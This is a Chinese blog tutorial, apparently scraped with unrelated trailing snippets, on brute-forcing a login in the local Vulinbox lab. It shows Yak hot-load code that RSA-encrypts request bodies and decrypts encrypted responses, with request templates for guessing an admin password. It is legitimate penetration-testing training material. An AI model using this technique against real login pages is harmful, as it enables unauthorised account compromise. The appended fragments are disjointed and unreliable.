- VisualStudio2022插件的安装及使用-编程手把手系列文章
- pprof-在现网场景怎么用
- C#实现的下拉多选框,下拉多选树,多级节点
- 【学习笔记】基础数据结构:猫树
本文是高级前端加解密与验签实战的第7篇文章,本系列文章实验靶场为Yakit里自带的Vulinbox靶场,本文讲述的是绕过请求包和响应包加密来爆破登录界面.
这里的公私钥同上文一样是通过服务端获取 。
通过查看响应包可以看到,data字段被加密了,当然这里我已经知道了data字段和origin字段的内容是一样的,下面来看看该如何编写热加载代码吧.
这里跟上文一样选择Web Fuzzer的序列功能.
数据提取器提取公私钥 。
由于afterRequest函数无法获取到参数,所以在代码里写死了私钥内容来解密响应包.
热加载代码:
var PRIVATE_KEY = `这里填私钥内容(可换行)`
decryptData = (packet) => {
body = poc.GetHTTPPacketBody(packet) // 获取响应包体
jsonBody = json.loads(body) // 转为map格式
//解密数据
data = codec.DecodeBase64(json.loads(body).data)~
data = codec.RSADecryptWithOAEP(PRIVATE_KEY/*type: bytes*/, data/*type: any*/)~
data = string(data)
// 使用JsonPath定位,替换json中的data
body = json.ReplaceAll(jsonBody, "$..data", data)
// 转为json格式
body = json.dumps(body, json.withIndent(" "))
// 替换正则匹配结果(可省略)
pattern := `\\`
body = re.ReplaceAll(body, pattern, "")
return poc.ReplaceBody(packet, body/*type: bytes*/, false/*type: bool*/)
}
encryptData = (pemPublic, data) => {
data = codec.RSAEncryptWithOAEP(pemPublic /*type: []byte*/, data)~
data = codec.EncodeBase64(data)
body = f`{"data":"${data}"}`
return body
}
//分割参数的函数
splitParams = (params) => {
pairs := params.SplitN("|", 2)
return encryptData(pairs[0], pairs[1])
}
// 修改响应包
afterRequest = func(rsp){
return decryptData(rsp)
}
请求格式:
POST /crypto/js/rsa/fromserver/response HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
{{yak(splitParams|{{p(publicKey)}}|{"username":"admin","password":"admin23","age":"20"})}}
下图为效果图,响应包的data字段的值被解密后的数据替换.
在这一关(响应加密)和下一关(RSA加密AES密钥)解密过程中,我一直都在寻找如何才能把数据提取器提取到的privateKey传参到beforeRequest和afterRequest这类函数中,以达到修改数据包的目的.
从前端验签与加解密学习Yakit中WebFuzzer热加载。在这篇文章中学到了可以使用序列,将前两个序列提取到的key和数据,在第三个序列当做请求内容,解密后发送过去,这样也算是一种变相的完成了解密,但是这个方法感觉不太优雅,需要多一个额外的请求包.
这是当时测试的图片:
然后在 Yak Project官方公众号的文章中终于看到了一个函数,mirrorHTTPFlow可以解决这个问题,虽然不能直接替换响应包,但会出现在提取数据中。由于官方文档没有具体讲解这个函数,所以它的具体功能现在还不太清楚.
热加载代码:
//加密函数
encrypt = (pemPublic, data) => {
data = codec.RSAEncryptWithOAEP(pemPublic /*type: []byte*/, data)~
data = codec.EncodeBase64(data)
body = f`{"data":"${data}"}`
return body
}
//分割参数的函数
splitParams = (params) => {
pairs := params.SplitN("|", 2)
return encrypt(pairs[0], pairs[1])
}
mirrorHTTPFlow = (req, rsp, params) => {
// 获取私钥以解密响应数据
pem = params.privateKey
// 切割响应中的数据,作为 JSON 加载
_, body = poc.Split(rsp)
body = json.loads(body)
// 解密data
data = codec.DecodeBase64(body.data)~
data = codec.RSADecryptWithOAEP(pem, data)~
return string(data)
}
请求包格式:
POST /crypto/js/rsa/fromserver/response HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
{{yak(splitParams|{{p(publicKey)}}|{"username":"admin","password":"123","age":"20"})}}
效果如下图,可以看到解密后的data出现在了提取内容中.
爆破成功,但是看不到请求的原始密码,由于太累了懒得解决这个问题,啥时候闲了再说吧.
最后此篇关于渗透测试-前端加密分析之RSA响应加密的文章就讲到这里了,如果你想了解更多关于渗透测试-前端加密分析之RSA响应加密的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
我是新来的,所以我会尽量使我的帖子清晰易读。 在浏览某些站点的日志时,我遇到了一些我想在封闭服务器中重新创建/测试的黑客攻击尝试。我制作了一个简单的 PHP 网页,它获取一个名为“id”的变量,并且没
我有一个 NSView,它覆盖了其父窗口的内容 View 。该 View 有一个单击事件处理程序,可将其从内容 View 中删除。在这个观点之中,我还有另外一个观点。当我在此内部 View 中拖动鼠标
我正在读取 csv 中的链接并使用它来抓取。我希望 Node 渗透在抓取之间等待,可能是在抓取 10 个站点之后。我尝试使用 sleep ,但它似乎在错误的时间 sleep ,而下一个站点正在被抓取,
页面部分HTML代码 3 303 eur if (price_json.price != '0') { var price_container = docume
我按如下方式为我的查询编制索引: client.Index(new PercolatedQuery { Id = "std_query", Query = new QueryConta
我有一个使用多个 的表单.它们的位置使得弹出式 CSS 日历应该出现在其他人的字段上。但是,其他日期的文本字段最终位于日历的前面。 这只是一个 IE 问题,因为 Firefox 和 Safari 工
我正在编写一个与外部站点连接的 Electron 应用程序。我发现,cheerio 无法抓取需要登录的网站。所以我现在使用渗透,但它显示以下错误。 (get) 已加载 [get] https://so
我想实现一个Osmosis的任务,我想读取.osm.pbf文件并将其写入数据库: C:\osmosis-latest\bin>osmosis --read-pbf file="C:\sbox\maps
我是一名优秀的程序员,十分优秀!